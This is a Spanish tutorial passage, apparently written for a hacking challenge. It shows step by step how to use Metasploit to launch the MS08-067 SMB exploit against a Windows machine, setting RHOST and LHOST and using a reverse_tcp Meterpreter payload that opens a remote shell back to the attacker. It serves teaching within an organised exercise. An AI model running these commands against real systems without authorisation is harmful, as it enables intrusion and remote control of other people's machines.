EXPLOTACION

Para esta fase utilizaremos una herramienta que se llama Metasploit. Es un framework utilizado principalmente para lanzar exploits aunque también tiene muchas otras funcionalidades. Un exploit es un código que se aprovecha de una vulnerabilidad en un programa o servicio para poder ejecutar código remoto en otra máquina. Normalmente ejecutaremos una terminal para poder tener control del sistema.

Para arrancar la aplicación deberemos teclear en la terminal:

```
leurian@asus:~$ sudo msfconsole
```

En primer lugar deberemos de seleccionar que exploit vamos a utilizar:

```
msf > use windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) >
```

Podemos ver lo primero que es un exploit para windows. A continuación vemos que se aprovecha del servicio tan conocido SMB de windows. Por último el nombre del exploit es "ms08_067_netapi".

Para continuar deberemos de ver que payloads son compatibles (comando “show payloads”). Acabamos de ver que un exploit ejecuta código en un sistema remoto, pues el payload será el código que ejecutaremos en la maquina explotada que en este caso será una terminal con algunas funcionalidades hacking extra. Utilizaremos meterpreter por ser la más completa, ya que tiene todas las funcionalidades de un troyano:

```
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp
```

Hemos elegido un payload que funciona en windows, precisamente el meterpreter como hemos dicho, y va a conectarse con nosotros de forma inversa. Es decir, no vamos a ser nosotros los que nos conectemos a nuestro payload meterpreter (imaginemos que es una shell para entender mejor el concepto), si no será el propio payload quien se conecte a nosotros. Esto se usa para poder evadir firewalls que normalmente tienen una mayor restricción con las conexiones entrantes y no tanto con las salientes. Aunque en vuestro caso deberéis elegir la que mejor se adapte.

Deberemos configurar nuestro exploit indicándole a que dirección queremos lanzarlo y nuestro payload para indicarle nuestra dirección que sepa donde tiene que conectarse (por esto de la conexión inversa que acabamos de hablar). Para esto con el comando "show options" podremos ver que opciones hay que configurar, las que ponga YES serán obligatorias, pero muchos campos vienen ya rellenados.

```
msf exploit(ms08_067_netapi) > show options
```

Para modificar los campos utilizaremos el comando "set":

```
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.109

        RHOST => 192.168.1.109 (Host remoto)

msf exploit(ms08_067_netapi) > set LHOST 192.168.1.4

        LHOST => 192.168.1.4  (Host local)
```

En este ejemplo hemos puesto unas IPs internas pero en vuestro caso serán IPs públicas, concretamente la IP de destino será el objetivo que tendréis. Se recomienda que los exploits que utilicéis no hagan uso de conexiones inversas debido a que muchos de vosotros tendréis IPs dinámicas, lo cual complica un poco la cosa, aunque más adelante veremos cómo hacerlo.

Para ejecutar el ataque habrá que lanzar el último comando:

```
msf exploit(ms08_067_netapi) > exploit
```

Ahora solo queda abrir el paquete de palomitas y esperar!

Para terminar únicamente deciros lo mismo de siempre, que si tenéis cualquier duda no dudéis en poneros en contacto con nosotros en info@highsec.es, y aunque no os resolveremos el reto sí que os podemos orientar ;)!